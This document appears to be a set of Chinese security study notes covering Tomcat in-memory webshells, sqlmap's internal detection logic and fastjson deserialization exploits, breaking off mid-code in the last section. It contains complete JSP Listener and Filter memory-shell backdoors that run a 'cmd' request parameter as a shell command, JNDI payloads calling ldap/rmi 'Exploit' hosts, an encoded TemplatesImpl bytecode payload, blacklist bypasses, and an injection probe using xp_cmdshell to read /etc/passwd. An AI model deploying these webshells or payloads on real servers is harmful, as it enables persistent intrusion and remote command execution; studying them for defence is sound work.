<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%!

    class ListenerMemShell implements ServletRequestListener {

        @Override
        public void requestInitialized(ServletRequestEvent sre) {
            String cmd;
            try {
                cmd = sre.getServletRequest().getParameter("cmd");
                org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();
                Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
                requestField.setAccessible(true);
                Request request = (Request) requestField.get(requestFacade);
                Response response = request.getResponse();

                if (cmd != null){
                    InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
                    int i = 0;
                    byte[] bytes = new byte[1024];
                    while ((i=inputStream.read(bytes)) != -1){
                        response.getWriter().write(new String(bytes,0,i));
                        response.getWriter().write("\r\n");
                    }
                }
            }catch (Exception e){
                e.printStackTrace();
            }
        }

        @Override
        public void requestDestroyed(ServletRequestEvent sre) {
        }
    }
%>

<%
    ServletContext servletContext =  request.getServletContext();
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

    Field standardContextField = 
        
        applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

    Object[] objects = standardContext.getApplicationEventListeners();
    List<Object> listeners = Arrays.asList(objects);
    List<Object> arrayList = new ArrayList(listeners);
    arrayList.add(new ListenerMemShell());
    standardContext.setApplicationEventListeners(arrayList.toArray());

%>

 

参考文献:

Filter是一个可以复用的代码片段,可以用来转换HTTP请求、响应和头信息。Filter无法产生一个请求或者响应,它只能针对某一资源的请求或者响应进行修改。

一个 servlet 的 filter 大概长这样

import javax.servlet.*;
import java.io.IOException;

public class filterDemo implements Filter {

    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter 初始化创建");
    }

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("执行过滤操作");
        filterChain.doFilter(servletRequest, servletResponse);
    }
    public void destroy() {}
}

应用 Filter 的 web.xml

    <filter>
        <filter-name>filterDemo</filter-name>
        <filter-class>filterDemo</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>filterDemo</filter-name>
        <url-pattern>/demo</url-pattern>
    </filter-mapping>
  • 启动服务器时加载过滤器的实例,并调用init()方法来初始化实例;
  • 每一次请求时都只调用方法doFilter()进行处理;
  • 停止服务器时调用destroy()方法,销毁实例。

现在的前提条件是我们能自由传一个 jsp,那么要做的就是怎样在这个 jsp 中写一个命令执行的 Filter 并把它插入到服务原本的 filter 中,这里的实现思路是模拟写一个 web.xml。

  • Filter 原理:


    在 filter 中打一个断点,跟一下函数调用栈,
    image-20220209153521968
    filterConfig 是从 filters 里挨个拿出来的,往前找 filters
    image-20220209154639766
    用到的是 filterChain 中的 filters,再确定一下这个 filterChain 如何被构建的
    image-20220209154835449
    跟进去,先用 getParent 拿到了 context(即当前访问的web程序)
    image-20220209155223906
    然后在 findFilterMaps 中拿到了映射关系
    image-20220209155513299
    循环遍历 FilterMap,如果找到一个映射和我们访问的 context 对应(这里是/demo),就会这个映射对应的 filter 初始化,加进 filters 中
    image-20220209160109874
    可见,filter 最开始是从 context 中拿到的,那下一步就是考虑怎么拿这个 context
    • 能直接获取 request 的时候,将 ServletContext 转为 StandardContext 从而获取 context
    • 从线程中获取StandardContext
    • 从MBean中获取
  • 将 ServletContext 转为 StandardContext:


    看一先 context 中与 filter 相关的东西:
    image-20220209185451385
    需要知道的几个区分:
    FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
    
    filterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
    
    filterMaps:一个存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
    

    这里要用到 StandardContext 中的几个重要函数
    • StandardContext.addFilterDef()可以将 filterDef 加进 filterDefs 中
    • StandardContext.addFilterMapBefore()把 filtermap 添加到 FilterMaps 的第一个位置

    其中的参数可以通过反射修改。
    综上,就有了写 Filter 内存马的大致流程:
    1. 一个恶意 Filter
    2. 用 filterDef 封装它
    3. 把这个 filterDef 添加到 filterDefs 中(StandardContext.addFilterDef())
    4. 创建 FilterMap ,将我们的 Filter 和 urlpattern 相对应,存放到 filterMaps中

    分段看一下代码,初始化,首先判断 filter 名字是否存在,不存在就注入
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);
    

    首先判断 filter 名字是否存在,不存在就注入
    if (filterConfigs.get(name) == null){
                // 创建恶意 Filter
            Filter filter = new Filter() {
                @Override
                public void init(FilterConfig filterConfig) throws ServletException {
                }
    
                @Override
                public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                    HttpServletRequest req = (HttpServletRequest) servletRequest;
                    if (req.getParameter("cmd") != null){
                        byte[] bytes = new byte[1024];
                        Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                        int len = process.getInputStream().read(bytes);
                        servletResponse.getWriter().write(new String(bytes,0,len));
                        process.destroy();
                        return;
                    }
                    filterChain.doFilter(servletRequest,servletResponse);
                }
    
                @Override
                public void destroy() {
    
                }
    
            };
    

    创建一个 FilterDef 并设置属性,相当于
        <filter>
            <filter-name>filterDemo</filter-name>
            <filter-class>filterDemo</filter-class>
        </filter>
    

    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    

    用 addFilterDef 将 filterDef 添加到 filterDefs 中
    standardContext.addFilterDef(filterDef);
    

    创建一个 filtermap,并设置对应的 urilpattern,相当于
        <filter-mapping>
            <filter-name>filterDemo</filter-name>
            <url-pattern>/demo</url-pattern>
        </filter-mapping>
    

    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName(name);
    // 这里用到的 javax.servlet.DispatcherType类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    standardContext.addFilterMapBefore(filterMap);
    

    创建 FilterConfig,传入 filterDef 和 standardCtf(拿到的 Context)
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
    

    最后的马(来自木头师傅)
    <%@ page import="org.apache.catalina.core.ApplicationContext" %>
    <%@ page import="java.lang.reflect.Field" %>
    <%@ page import="org.apache.catalina.core.StandardContext" %>
    <%@ page import="java.util.Map" %>
    <%@ page import="java.io.IOException" %>
    <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
    <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
    <%@ page import="java.lang.reflect.Constructor" %>
    <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
    <%@ page import="org.apache.catalina.Context" %>
    <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
    
    <%
        final String name = "KpLi0rn";
        ServletContext servletContext = request.getSession().getServletContext();
    
        Field appctx = servletContext.getClass().getDeclaredField("context");
        appctx.setAccessible(true);
        ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    
        Field stdctx = applicationContext.getClass().getDeclaredField("context");
        stdctx.setAccessible(true);
        StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    
        Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
        Configs.setAccessible(true);
        Map filterConfigs = (Map) Configs.get(standardContext);
    
        if (filterConfigs.get(name) == null){
            Filter filter = new Filter() {
                @Override
                public void init(FilterConfig filterConfig) throws ServletException {
    
                }
    
                @Override
                public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                    HttpServletRequest req = (HttpServletRequest) servletRequest;
                    if (req.getParameter("cmd") != null){
                        byte[] bytes = new byte[1024];
                        Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                        int len = process.getInputStream().read(bytes);
                        servletResponse.getWriter().write(new String(bytes,0,len));
                        process.destroy();
                        return;
                    }
                    filterChain.doFilter(servletRequest,servletResponse);
                }
    
                @Override
                public void destroy() {
    
                }
    
            };
    
    
            FilterDef filterDef = new FilterDef();
            filterDef.setFilter(filter);
            filterDef.setFilterName(name);
            filterDef.setFilterClass(filter.getClass().getName());
            /**
             * 将filterDef添加到filterDefs中
             */
            standardContext.addFilterDef(filterDef);
    
            FilterMap filterMap = new FilterMap();
            filterMap.addURLPattern("/*");
            filterMap.setFilterName(name);
            filterMap.setDispatcher(DispatcherType.REQUEST.name());
    
            standardContext.addFilterMapBefore(filterMap);
    
            Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
            constructor.setAccessible(true);
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
    
            filterConfigs.put(name,filterConfig);
            out.print("Inject Success !");
        }
    %>
    
  • 从线程中获取StandardContext(待补充)


    目的是找 Tomcat 中全局存储的 request 或 response
     

参考文献:

  • 启动流程



    看一下去掉一般不会遇见的 else 和 except 后的 main 函数大致流程

    try:
          dirtyPatches()
          # 修改环境变量,确保 sqlmap 在不同环境下都能正常使用
          resolveCrossReferences()
          # 修改原函数的指针
          checkEnvironment()
          # 检查环境(sqlmap 存放路径,版本,全局变量初始化)
          setPaths(modulePath())
          # 把 sqlmap 的路径信息存到变量 path 中
          banner()
        # 输出 sqlmao 启动时那个图形。。。
    
          args = cmdLineParser()
          # 解析传入的参数,部分参数赋值,解析后把所有的参数合并到 cmdLineOptions 中继续使用
          cmdLineOptions.update(args.__dict__ if hasattr(args, "__dict__") else args)
          initOptions(cmdLineOptions)
          # 对几个全局变量进行初始化的操作
    
          init()
          # 对命令行中的部分参数进行处理,并为全局变量的部分参数赋实际值
          start()
    


    进入 start(),对参数进行特殊处理后会遍历 kb.targets 中的数据,队每一组数据进行注入测试

    image-20220213205807718

    然后连续调用两个函数分别初始化当前 target 的基本环境,并对传入的 url 进行解析

    initTargetEnv()
    parseTargetUrl()
    


    然后检查 url 中是否存在 data(get请求),用于确定 paramKey 的值

    image-20220213210536127

    这里有一步会判断当前扫描的 url 是否在已确认存在漏洞的列表中

    image-20220213211014164

    然后执行 setupTargetEnv 进一步设置环境,这里已经解析完参数了,再进到 _setRequestParams 中把从 GET/POST 请求中的参数转化为字典后封装到 conf.paramDict 与 conf.parameters中

    image-20220213211218509

    然后发起首次链接,并以此次请求的 response 作为原始信息与后续的 response 做比较

    image-20220213211459838

    接着进入 checkwaf,比较有趣的是这里参考了 nmap 的一个 checkwaf 的 payload,最后是生成了一个含大量危险特征值的字符串

    image-20220213211713708

    最后的一长串,checkwaf 的后半段会比较这个请求的 response 与初始值的相似度(<0.5)是认为有 waf

    randomInt() + AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#"
    


    当没有设置 --string--not-string--regexp 并且 BOOLEAN 在 --technique 中时调用 checkStability 函数进行页面的动态性检测

    image-20220213213835246

    然后设置 http 请求头, PLACE 中存放的就是之前参数解析出来的参数,后续会根据不同的 level 修改请求头

    image-20220213214632558

    接下来会根据 BOOLEAN 是否在 --technique 来判断是否需要调用 checkDynParam 函数进行参数的动态性检测,如果参数是静态的并设置了 --skip-static 就会跳过这个参数的检测。

    image-20220213215353294

    最后进行一个”启发性测试“,会通过搜集页面错误信息来在实际注入前尝试获取目标的部分信息以及测试其余漏洞是否有可能存在。

    image-20220213215832580

  • 关于动态检测



    sqlmap 即使不指定参数也能正常测试注入就依赖于这个函数(checkStability)。

    首先会重新发一个请求,直接判断这次的 response 和 第一次的 response ,如果完全相同则跳过,不同则会询问下一步操作

    image-20220213220640238

    一般这时就直接点 C 了,进入 checkDynamicContent 中,此函数首先会对 firstPage 与 secondPage 进行判空和判断是否超出了最大检测长度的前置步骤,随后会通过 difflib.SequenceMatcher 进行相似度比对(之后会在 while 循环中持续比对,直到相似度<0.98)

    image-20220213221611805

    然后用 findDynamicContent 进行具体的动态部分的查找,比较的还是 fistPage 和 secondPage,这里是把很长的 response 分块比较,通过 get_matching_blocks 函数获取两个字符串中相同的部分实现分块,在后续操作中提出动态的部分

    >>> list(s.get_matching_blocks())
    [Match(a=0, b=0, size=2), Match(a=3, b=2, size=2), Match(a=5, b=4, size=0)]
    


    image-20220213222501993

    随后 sqlmap 会将动态内容的前20个字符与动态内容的后20个字符存入 kb 中,后续在进行测试时会首先通过正则去除前缀与后缀之间的内容以确保后相似度检测的准确率。(但在 JSON 场景下,前缀和后缀可能<20)。

    参数的动态检测靠 checkDynParam 函数实现的

    创建了一个随机整数,在调用 queryPage 的时候换成参数值,然后对比 response 和原相应的相似度(0.98),进而判断这个参数是不是动态的。

    image-20220213231058290

    这里的重点就是 queryPage 函数,以及它的几个相关调用

    • ##### queryPage


    如果有 tamper,就用其修改 payload

    image-20220213233610746

    发请求部分

    image-20220213234128904

    在 comparison 中进行相似度对比

    image-20220213234246901

    • ##### comparison


    具体代码不贴了,大致流程就是先处理 --string--not-string--regexp 这些设置,再通过 removeDynamicContent 去除动态值,然后经过编码处理确保编码一致性,最后计算相似度。关于相似度的判断:

    当相似度大于0.98时认为页面与原页面相似
    当相似度小于0.02时认为页面与原页面不相似
    当相似度与临界值之差大于0.05时认为页面与原页面相似
    


    • ##### 启发性测试


    1. 生成一个包含特殊字符的 payload\"().,并发送(看看会不会报错
    2. wasLastResponseDBMSError 判断是否有与数据库有关的 ERROR(有的话就可能存在 sql)
    3. 判断 FORMAT_EXCEPTION_STRINGS 中的字符串是否包含在响应中(检测是否存在类型转换错误)
    4. 生成一个包含'"<>'的 payload并发送(测 xss)
    5. 通过 FI_ERROR_REGEX 这个正则匹配页面,如果匹配成功则认为可能存在 FI 相关的漏洞。


    上述步骤可以看作一个最简单的漏扫...

  • 注入部分



    看一下最核心的 checkSqlInjection 函数,处理流程:


    根据已知参数类型筛选 boundary


  • 启发式检测数据库类型 heuristicCheckDbms(如果之前没有检测出或者传入)

    image-20220215131126545


  • payload 预处理(UNION)


  • 过滤与排除不合适的测试用例


  • 对筛选出的边界进行遍历与 payload 整合


  • payload 渲染


  • 针对四种类型的注入分别进行 response 的响应和处理


  • 得出结果,返回结果




    • ##### payload部分:


    sqlmap 的 payload 构成, 其中 prefix、comment、suffix 都是闭合注入点的前后部分, test 是最后执行的语句.

    <prefix> <test> <comment> <suffix>
    


    其中 prefix 和 suffix 是通用的,与数据库类型和注入类型无关的,因此单独作为boundaries 保存。

    而 test 和 comment 需要具体分类,以 xml 的格式放在 payloads 文件夹下

    image-20220214002402752

    test 中标签的具体含义:

    <stype> 表示注入的类型。 
    <level> 测试的级别
    <risk> 对目标数据库的损坏程度
    <clause> 表明 <test> 对应的测试 Payload 适用于哪种类型的 SQL 语句
    <where> 放具体注入语句的位置
    <vector> payload大致什么样,并不是实际请求中的 payload
    <request> payload 的配置
        <payload> 实际测试使用的 Payload
        <comment> payload 中的 comment 部分
        <char> 只有 UNION 注入存在的字段
        <columns> 只有 UNION 注入存在的字段
        <response> 处理请求的方式
        <comparison> 针对布尔盲注的特有字段,表示对比和 request 中请求的结果。
        <grep> 针对报错型注入的特有字段,使用正则表达式去匹配结果。
        <time> 针对时间盲注
        <union> 处理 UNION •注入的办法。
        <details> 如果 response 标签中的检测结果成功了,可以推断出什么结论?
        <dbms> 数据库类型
        <dbms_version> 数据库版本
        <os> 系统版本
    


    • ##### 数据库类型检测


    其实数据库类型是在之前确定的,来源于用户设定或者自动检测,但如果没确定就通过 heuristicCheckDbms 实现。核心原理就是利用简单的布尔盲注构造一个 (SELECT “[RANDSTR]” [FROM_DUMMY_TABLE.get(dbms)] )=”[RANDSTR1]” 和 (SELECT ‘[RANDSTR]’ [FROM_DUMMY_TABLE.get(dbms)] )='[RANDSTR1]’ 这两个 Payload 的请求判断。其中

    FROM_DUMMY_TABLE = {
        DBMS.ORACLE: " FROM DUAL",
        DBMS.ACCESS: " FROM MSysAccessObjects",
        DBMS.FIREBIRD: " FROM RDB$DATABASE",
        DBMS.MAXDB: " FROM VERSIONS",
        DBMS.DB2: " FROM SYSIBM.SYSDUMMY1",
        DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS",
        DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL"
    }
    


    原理见后续布尔盲注检测。

    其实如果检测不出来还是可以硬跑的。。。

    • ##### 针对 boolean 盲注的检测


    随便找一个 payload:

    <test>
        <title>PostgreSQL OR boolean-based blind - WHERE or HAVING clause (CAST)</title>
        <stype>1</stype>
        <level>3</level>
        <risk>3</risk>
        <clause>1</clause>
        <where>2</where>
        <vector>OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</vector>
        <request>
            <payload>OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</payload>
        </request>
        <response>
            <comparison>OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CAST('[RANDSTR]' AS NUMERIC) END)) IS NULL</comparison>
        </response>
        <details>
            <dbms>PostgreSQL</dbms>
        </details>
    </test>
    


    发送了两个请求,并对 response 进行比对,其中第一次请求为正请求(Positive),对应 request.payload 的语句,第二次为负请求(Negative),对应 response.comparison 中的语句。

    首先设置边界,比较负请求的 response 、原始页面和启发式页面之间是否存在差异,其中kb.matchRatio是原始页面和id=原始值+"),'.)(((,报错页面的相似度。

    image-20220214185341422

    发送正请求,结果必须是正请求与原始页面相同,与负请求不同,而且不能有 nullConnect 优化,就会进行负请求

    image-20220214185512992

    如果负请求结果与原始页面不同,如果此时 negativeLogic(由where标签设置,说明参数错误的时候与模板页面不同才有意义),就会构造一个错误的 payload 并发送,并检查结果;如果启发式页面检查成功(elif语句),则会重新设置边界。

    image-20220214190307687

    如果没有设置区分页面是否相同的选项,或相似度无法区分的时候,并不代表页面不相同,就会尝试提取长度 >10 的特征字符串作为特征,进而判断是否存在注入点。

    image-20220214193636710

    • ##### 针对 GREP 型(报错注入)


    test payload:

    <test>
        <title>MySQL &gt;= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)</title>
        <stype>2</stype>
        <level>5</level>
        <risk>1</risk>
        <clause>1,2,3,9</clause>
        <where>1</where>
        <vector>AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) USING utf8)))</vector>
        <request>
            <payload>AND JSON_KEYS((SELECT CONVERT((SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) USING utf8)))</payload>
        </request>
        <response>
            <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
        </response>
        <details>
            <dbms>MySQL</dbms>
            <dbms_version>&gt;= 5.7.8</dbms_version>
        </details>
    </test>
    


    sqlmap 会用正则匹配 response 的内容,如果成功提取了对应内容,就说明可以进行注入,这里的 response 内容包括


  • 页面内容

  • HTTP 错误页面

  • Headers 中的内容

  • 重定向信息


  • 针对 TIME 型注入



  • 思路就是检查响应延迟的实验是否符合 payload设定的延迟,但重点是如何设置具体的延迟时间。

    结论:正常请求 99% 的概率响应时间 <= 平均响应时间+7*标准差

    image-20220214210921434

    最后有一个 mysql 的 patch(MySQL’s SLEEP(X) lasts 0.05 seconds shorter on average)

    delta = threadData.lastQueryDuration - conf.timeSec
    if Backend.getIdentifiedDbms() in (DBMS.MYSQL,):  # MySQL's SLEEP(X) lasts 0.05 seconds shorter on average
        delta += 0.05
    return delta >= 0
    


    • ##### UNION 型注入


    核心逻辑在 uniontest 中的 _unionTestByCharBruteforce,其实在这个函数中就是实现了常规的 union 注入,要解决的难点就是列数的判断和输出点的确认。

    1. 使用 ORDER BY 查询,直接通过与模版页面的比较来获取列数。(二分法)
    2. 当 ORDER BY 失效的时候,使用多次 UNION SELECT 不同列数,获取多个 Ratio,通过区分 Ratio 来区分哪一个是正确的列数。


    image-20220214221434569

    如果成功找到了列数,下一步就是确认输出点,我们只需要将 UNION SELECT NULL, NULL, NULL, NULL, … 中的各种 NULL 依次替换,然后在结果中寻找被我们插入的随机的字符串,就可以定位到输出点的位置。

    image-20220214221730287

    调用 _unionPosition 进行查找

    image-20220214221853691

  • 参考文献



    • https://www.anquanke.com/post/id/262847
    • https://www.anquanke.com/post/id/160636#h3-2
    • https://www.anquanke.com/post/id/167408

感谢 lala 大佬的高质量文章

  • 三种反序列化接口:


    //序列化
    String text = JSON.toJSONString(obj); 
    //反序列化
    VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
    VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
    VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类
    

    区别:
    parse("") 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法parseObject("") 会调用反序列化目标类的特定 setter 和 getter 方法(此处有的博客说是所有setter,个人测试返回String的setter是不行的,此处打个问号)parseObject("",class) 会识别并调用目标类的特定 setter 方法及某些特定条件的 getter 方法
    
  • 关于 @type


    这个字段可以指定反序列化任意类,并且会自动调用类中属性的特定的 set,get 方法,其中:
    • public修饰符的属性会进行反序列化赋值,private修饰符的属性不会直接进行反序列化赋值,而是会调用setxxx(xxx为属性名)的函数进行赋值。
    • getxxx(xxx为属性名)的函数会根据函数返回值的不同,而选择被调用或不被调用

    决定是否被调用的部分在 com.alibaba.fastjson.util.JavaBeanInfo#build函数处
    image-20220207223653380
    在 build 中遍历两遍 class 的所有方法,分别去找 set 和 get 开头特定的方法(代码写的真丑)
    image-20220207224419816
    set开头的方法要求:
    • 方法名长度大于4且以set开头,且第四个字母要是大写
    • 非静态方法
    • 返回类型为void或当前类
    • 参数个数为1个

    如果没有这个属性并且这个set方法的输入是一个布尔型(是boolean类型,不是Boolean类型,这两个是不一样的),会重新给属性名前面加上is,再取头两个字符,第一个字符为大写(即isNa),去寻找这个属性名。
    get开头的方法要求:
    • 方法名长度大于等于4
    • 非静态方法
    • 以get开头且第4个字母为大写
    • 无传入参数
    • 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

    那么接下来要做的就是利用要求之内的 setter 和 getter 方法执行命令了。
  • <=1.2.24 JNDI注入利用链 JdbcRowSetImpl


    三种反序列化接口都能用。
    payload:jdk < 1.8u191
    {
        "@type":"com.sun.rowset.JdbcRowSetImpl",   //调用com.sun.rowset.JdbcRowSetImpl函数中的
        "dataSourceName":"ldap://127.0.0.1:1389/Exploit",   // setdataSourceName函数 传入参数"ldap://127.0.0.1:1389/Exploit"
        "autoCommit":true // 再调用setAutoCommit函数,传入true
    }
    

    接口函数:(满足条件)
    public void setDataSourceName(String var1) throws SQLException
    public void setAutoCommit(boolean var1)throws SQLException
    
  • <=1.2.24 JDK1.7 的 TemplatesImpl 利用链


    基于 jdk1.7u21 的链,但无 1.7 具体版本限制
    限制条件:

    1. 服务端使用parseObject()时,必须使用如下格式才能触发漏洞:
      JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);
    2. 服务端使用parse()时,需要JSON.parse(text1,Feature.SupportNonPublicField);

    原因是 payload 的 TemplatesImpl 的一些属性必须是 private,服务端必须添加特性才回去从json中恢复private属性的数据。
    (实际上最后的 TemplatesImpl 是全 jdk1.7 通用的,fastjson 也就是用了最后这部分)
    payload:
    {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADMAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARsYWxhAQAMSW5uZXJDbGFzc2VzAQAcTOeJiOacrDI0L2pkazd1MjFfbWluZSRsYWxhOwEAClNvdXJjZUZpbGUBABFqZGs3dTIxX21pbmUuamF2YQwABAAFBwATAQAa54mI5pysMjQvamRrN3UyMV9taW5lJGxhbGEBABBqYXZhL2xhbmcvT2JqZWN0AQAV54mI5pysMjQvamRrN3UyMV9taW5lAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAFQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABcAGAoAFgAZAQAEY2FsYwgAGwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMAB0AHgoAFgAfAQARTGFMYTg4MTIwNDQ1NzYzMDABABNMTGFMYTg4MTIwNDQ1NzYzMDA7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAADwAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}
    
  • 1.2.25 版本修复


    1.2.24版本产生漏洞的原因:
    1. @type 会加载任意类,通过 setter,getter 等方法进行赋值,恢复出整个类。
    2. 由 setter,getter 等方法构造出一条链(结合 JNDI 或 TemplatesImpl)

    在新版本中加入了黑、白名单
    public Class checkAutoType(String typeName, Class expectClass) {
            if (typeName == null) {
                return null;
            }
    
            final String className = typeName.replace('$', '.');
    
            //一些固定类型的判断,此处不会对clazz进行赋值,此处省略
    
            if (!autoTypeSupport) {
                //进行黑名单匹配,匹配中,直接报错退出
                for (int i = 0; i < denyList.length; ++i) {
                    String deny = denyList[i];
                    if (className.startsWith(deny)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
                //对白名单,进行匹配;如果匹配中,调用loadClass加载,赋值clazz直接返回
                for (int i = 0; i < acceptList.length; ++i) {
                    String accept = acceptList[i];
                    if (className.startsWith(accept)) {
                        clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
    
                        if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                        }
                        return clazz;
                    }
                }
            }
    
            //此处省略了当clazz不为null时的处理情况,与expectClass有关
            //但是我们这里输入固定是null,不执行此处代码
    
            //可以发现如果上面没有触发黑名单,返回,也没有触发白名单匹配中的话,就会在此处被拦截报错返回。
            if (!autoTypeSupport) {
                throw new JSONException("autoType is not support. " + typeName);
            }
            //执行不到此处
            return clazz;
    }
    

    20200102094428-6a060516-2d01-1
    com.sun 无了,默认情况无法绕过。
  • 1.2.25-1.2.41绕过


    要求:服务端 AutoTypeSupport 设置为 true(关闭白名单)
    虽然关掉了白名单,但是注意到现在的执行逻辑是先加载,也就是会进入TypeUtils.loadClass(typeName, defaultClassLoader) 中,然后才检查黑名单,跟进去看看
    public static Class loadClass(String className, ClassLoader classLoader) {
            if (className == null || className.length() == 0) {
                return null;
            }
    
            Class clazz = mappings.get(className);
    
            if (clazz != null) {
                return clazz;
            }
    
            //特殊处理1!
            if (className.charAt(0) == '[') {
                Class componentType = loadClass(className.substring(1), classLoader);
                return Array.newInstance(componentType, 0).getClass();
            }
            //特殊处理2!
            if (className.startsWith("L") && className.endsWith(";")) {
                String newClassName = className.substring(1, className.length() - 1);
                return loadClass(newClassName, classLoader);
            }
    

    特殊处理1没什么用,只有一个 [ 的会被当作数据加载,json直接报错。
    但特殊处理2,只要加上 L 开头 ; 结尾就能直接加载了,相当于绕过黑名单
    {"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
    
  • 1.2.42版本修复和绕过


    1. 明文黑名单换为黑名单 hash(github已经碰撞出来了,相当于没什么用了)
    2. 传入的类名删去开头的 L 和结尾的 ;(只删了一次,重复一下就行)

    {"@type":"LLcom.sun.rowset.RowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
    
  • 1.2.43 - 1.2.46 修复


    把 LL 开头的都给封了,JdbcRowSetImpl 和 TemplatesImpl 算是都无了。
    扩充 jar 包的同时,疯狂扩充黑名单。
  • 1.2.47 通杀


    看一下 com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class, int)
    public Class checkAutoType(String typeName, Class expectClass, int features) {
            //1.typeName为null的情况,略
    
            //2.typeName太长或太短的情况,略
    
            //3.替换typeName中$为.,略
    
            //4.使用hash的方式去判断[开头,或L开头;结尾,直接报错
            //这里经过几版的修改,有点不一样了,但是绕不过,也略
    
            //5.autoTypeSupport为true(白名单关闭)的情况下,返回符合白名单的,报错符合黑名单的
            //(这里可以发现,白名单关闭的配置情况下,必须先过黑名单,但是留下了一线生机)
            if (autoTypeSupport || expectClass != null) {
                long hash = h3;
                for (int i = 3; i < className.length(); ++i) {
                    hash ^= className.charAt(i);
